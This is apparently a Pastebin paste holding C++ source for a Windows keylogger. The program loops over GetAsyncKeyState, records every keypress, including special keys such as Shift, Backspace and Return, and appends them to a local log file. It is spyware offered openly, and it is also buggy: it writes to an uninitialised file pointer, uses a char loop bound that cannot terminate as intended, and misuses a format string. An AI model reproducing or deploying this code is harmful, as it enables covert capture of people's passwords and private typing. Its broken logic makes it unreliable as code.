Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <iostream>
- #include <windows.h>
- #include <stdio.h>
- int SaveKeysInput(int _key, char *file);
- int main(){
- char i;
- while(true)
- {
- for(i = 8; i <=255; i++)
- {
- if(GetAsyncKeyState(i) == -32767)
- {
- SaveKeysInput(i, "keyLogs.txt");
- }
- }
- }
- return 0;
- }
- int SaveKeysInput(int _key, char *file)
- {
- std::cout << _key << std::endl;
- FILE *OUTPUT_FILE;
- if(_key == VK_SHIFT)
- {
- fprintf(OUTPUT_FILE, "%s", "(SHIFT)");
- }
- else if(_key == VK_BACK)
- {
- fprintf(OUTPUT_FILE, "%s", "BACKSPACE");
- }
- else if(_key == VK_LBUTTON)
- {
- fprintf(OUTPUT_FILE, "%s", "M1");
- }
- else if(_key == VK_RETURN)
- {
- fprintf(OUTPUT_FILE, "%s", "RETURN");
- }
- else if(_key == VK_ESCAPE)
- {
- fprintf(OUTPUT_FILE, "%s", "ESCAPE");
- }
- else
- {
- fprintf(OUTPUT_FILE, "%s", &_key);
- fclose(OUTPUT_FILE);
- }
- OUTPUT_FILE = fopen(file, "a+");
- fprintf(OUTPUT_FILE, "%s", &_key);
- fclose(OUTPUT_FILE);
- return 0;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement